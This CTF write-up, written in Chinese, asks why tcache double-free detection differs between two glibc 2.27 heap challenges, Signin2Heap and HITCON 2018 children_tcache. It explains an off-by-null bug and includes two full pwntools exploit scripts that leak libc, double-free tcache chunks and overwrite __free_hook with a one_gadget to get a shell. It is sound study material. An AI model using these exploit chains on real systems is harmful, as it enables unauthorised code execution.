[未解决] 两道题同为 2.27 版本的 libc,为何 signin2heap 的 tcache 检查了 double free,而 HITCON_2018_children_tcache 没有检查?问题出在哪里?
Signin2Heap
题目附件:Signin2Heap libc 版本:2.27
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int buf; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4uLL);
if ( buf != 2 )
break;
delete();
}
if ( buf > 2 )
{
if ( buf == 3 )
{
show();
}
else
{
if ( buf == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( buf != 1 )
goto LABEL_13;
add();
}
}
}
int menu()
{
puts("1.Add book");
puts("2.Show book");
puts("3.Delete book");
puts("4.Exit");
return printf("Your choice:");
}
这里有些奇特的地方,一是 ./vuln 运行后直接输入数字都会返回 ”Invalid choice“ ,逐句调试后发现需要发送 4 字节的 ”实际数字“(例如 p32(1) ),而不能是手动输入的 ”字符串数字“ (例如 b'1' );二是根据代码我们发现 1 进入 add() , 2 进入 delete() , 3 进入 show() , 4 退出,2、3 与 menu() 输出的不符。
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
unsigned int size; // [rsp+10h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)&books + v2) )
{
puts("The note already exists.");
}
else
{
while ( 1 )
{
printf("Size: ");
__isoc99_scanf("%u", &size);
if ( size <= 0xFF )
break;
puts("Too big!");
}
v0 = v2;
*((_QWORD *)&books + v0) = malloc(size);
printf("Content: ");
size_4 = read(0, *((void **)&books + v2), size);
*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;
}
return __readfsqword(0x28u) ^ v5;
}
最多 16 个堆块,每个堆块的大小不超过 0xFF.
books 是一个 .bss 段上的变量,用于记录分配的堆块的位置。
*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;
这句话在我们写入内容的末位添加 0,如果我们输入的内容跟 size 一样大的话,这个 0 实际上已经超出我们分配的内存范围了。这就是典型的 off-by-null 漏洞,可以看作是 off-by-one 漏洞的严格版,因为溢出的一个字节只能是 ‘\x00’.
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)&books + v1) )
{
free(*((void **)&books + v1));
*((_QWORD *)&books + v1) = 0LL;
}
else
{
puts("No such note.");
}
return __readfsqword(0x28u) ^ v2;
}
普普通通的 free 操作,而且指针置零了,不存在 UAF 漏洞。
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)&books + v1) )
{
puts(*((const char **)&books + v1));
}
else
{
puts("No such note.");
}
return __readfsqword(0x28u) ^ v2;
}
普普通通的 show 堆块中的内容。
首先思考应该如何泄露堆块、libc 的基地址。
常规手法,把堆块扔进 unsorted bin 里面涮一下拎出来就会有 libc 地址的残留:
add(0, 0xf8, b'A'*0xf0)
pause()
add(1, 0xf8, b'B'*0xf0)
for i in range(7):
add(2 + i, 0xf8, b'C')
for i in range(7):
delete(2 + i)
delete(0)
delete(1)
for i in range(7):
add(2 + i, 0xf8, b'C')
add(0, 0xf8, b'A')
show(0)
但是这种做法在这里并不可行。首先,因为它 show 堆块内容的时候用的 puts,而 puts 遇到 ‘\x00’ 就会停止输出,所以根本没法泄露残留地址。其次,这个程序的 add 功能强制在 malloc 的同时输入内容,并且在末位加上 ‘\x00’,导致残留地址两个字节被覆盖,这样就导致 1 位 16 进制信息丢失(2 Bytes 对应 4 位 16 进制数,而地址的最后 3 位 16 进制数是固定的),就算能泄露也是只有 1/16 的概率获得正确地址信息,不到万不得已不推荐用这个“瞎蒙”法。
可以预见,在泄露这一步上已经需要用到 off-by-null 的漏洞了。通过消除 PREV_INUSE 位、篡改 PREV_SIZE 位把堆块分配到已经存在残留地址的地方,借此泄露地址信息。具体做法跟下面这道 HITCON_2018_children_tcache 几乎完全一样,不再赘述。
from pwn import *
# io = process('./vuln')
io = remote("node1.hgame.vidar.club", 30723)
elf = ELF('./vuln')
libc = ELF('./libc-2.27.so')
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, "b *$rebase(0xc7b)")
# gdb.attach(io)
def cmd(command):
io.sendafter('Your choice:', p32(command))
def add(index, size, content):
cmd(1)
io.sendlineafter('Index: ', str(index))
io.sendlineafter('Size: ', str(size))
io.sendafter('Content: ', content)
def delete(index):
cmd(2)
io.sendlineafter('Index: ', str(index))
def show(index):
cmd(3)
io.sendlineafter('Index: ', str(index))
# 不可行方法
# add(0, 0xf8, b'A'*0xf0)
# pause()
# add(1, 0xf8, b'B'*0xf0)
# for i in range(7):
# add(2 + i, 0xf8, b'C')
# for i in range(7):
# delete(2 + i)
# delete(0)
# delete(1)
# for i in range(7):
# add(2 + i, 0xf8, b'C')
# add(0, 0xf8, b'A')
# show(0)
add(0, 0xf8, b'A') # 0x100
add(1, 0x68, b'A') # 0x70
# 填满 tcache. 目的是为了让 0x100 大小的堆块进入 unsorted bin,如果题目可以申请较大的堆块,可以直接申请大堆块进 unsorted bin
for i in range(2, 10): # 2-9 共 8 个 chunk
add(i, 0xf8, b'A')
add(12, 0x68, b'A') # 防止合并到 top chunk
for i in range(3, 10): # 3-9 共 7 个 chunk
delete(i)
delete(0)
delete(1)
add(1, 0x68, b'a' * 0x60 + p64(0x170)) # 篡改到 chunk 2
delete(2) # 检测到 PREV_INUSE 为 0,向前合并. 此时最上面的 chunk 有 0x270 大小
add(0, 0x78, b'a') # 从 0x270 上面割出 0x80
add(2, 0x78, b'a') # 再从 0x270 上面割出 0x80
show(1) # 此时 chunk 1 的位置属于被释放的空间 (0x270 的空闲空间被分配 0x100 后剩下的空间的起始位置与原本的 chunk1 重合),但 book 里仍然记录着 chunk 1 的位置,所以可以泄露地址
leak_libc = u64(io.recv(6).ljust(8, b'\x00'))
print("leak_libc:", hex(leak_libc))
libc.address = leak_libc - 0x3ebca0
print("libc_base:", hex(libc.address))
free_hook = libc.sym['__free_hook']
print("free_hook:", hex(free_hook))
add(3, 0x68, b'A') # 此时 chunk 3 的位置与 chunk 1 重合
# 填充 tcache
for i in range(4, 12):
add(i, 0x68, b'A')
for i in range(4, 11):
delete(i)
delete(1)
delete(11)
delete(3) # double free. ··· -> chunk 1/3 -> chunk 11 -> chunk 1/3 -> ···
# 申请完 tcache
for i in range(4, 11):
add(i, 0x68, b'A')
# pause()
add(1, 0x68, p64(free_hook)) # 申请出 chunk 1
add(11, 0x68, b'A') # 申请出 chunk 11
one_gadget_list = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
add(13, 0x68, b'A') # 申请出 chunk 13
add(14, 0x68, p64(libc.address + one_gadget_list[2])) # 申请出 chunk 14, 此时已经在写 free_hook
delete(13) # 触发 free_hook
io.interactive()
相似题:HITCON_2018_children_tcache
题目附件:HITCON_2018_children_tcache libc 版本:2.27
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# gdb.attach(p)
def new(size,content):
p.recvuntil(b'Your choice: ')
p.sendline(b'1')
p.recvuntil(b'Size:')
p.sendline(str(size))
p.recvuntil(b'Data:')
p.sendline(content)
def delete(index):
p.recvuntil(b'Your choice: ')
p.sendline(b'3')
p.recvuntil(b'Index:')
p.sendline(str(index))
def show(index):
p.recvuntil(b'Your choice: ')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index))
new(0x4f0, b'a') # chunk 0
new(0x48, b'a') # chunk 1, spy/overflow chunk
new(0x4f0, b'a') # chunk 2
new(0x10, b'a') # chunk 3, avoid consolidate with top chunk
delete(0)
delete(1)
new(0x48, b'a'*0x48) # chunk 0(original chunk 1/spy chunk), off by null
delete(0)
# 由于该题在 free 的时候会填充垃圾数据,所以需要通过逐个清零实现 PREV_SIZE 位被我们控制
for i in range(8):
new((0x47 - i), b'f'*(0x47 - i))
delete(0)
# 前面两个 chunk 分别是 0x500 和 0x50 大小,将第三个 chunk 的 PREV_SIZE 改为 0x550, free 后触发合并,使得再次申请时恰好在原来第一个 chunk 处
new(0x48, flat(
b'g'*0x40,
0x550
)) # 新的 chunk 0, 但是在后面的 delete(2) 后被一块合并掉了,然而 book 中仍然存在这个 chunk 的指针
delete(2) # 此时前面 3 个 chunk 合并成一个大 chunk , 0x500 + 0x550 = 0xa50
new(0x4f0, b'aaaa') # 新的 chunk 1, 从上述大 chunk 里面割 0x500,剩下的刚好在原来 spy chunk 的位置,从而完成地址的泄露
show(0) # spy chunk 仍然被程序认为是存在的 chunk,然而事实上已经被 free 掉了,所以可以泄露地址
leak_libc = u64(p.recv(6).ljust(8, b'\x00'))
# print("leak_stack:", hex(leak_libc))
libc.address = leak_libc - 0x3ebca0
print("libc_base:", hex(libc.address))
free_hook = libc.sym['__free_hook']
print("free_hook:", hex(free_hook))
one_gadget_list = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc.address + one_gadget_list[2]
new(0x50, b'a') # chunk 2, 但物理位置和 chunk 0 重叠
delete(0)
delete(2) # double free. ··· -> chunk 0/2 -> chunk 0/2 -> chunk 0/2 -> ···
new(0x50, p64(free_hook)) # 申请出 chunk 0
new(0x50, b'aaaa') # 申请出 chunk 2
new(0x50, p64(one_gadget))# 申请出 chunk 3, 地址飞到了 __free_hook 处, 并且填充 one_gadget
delete(1) # 触发 free_hook
p.interactive()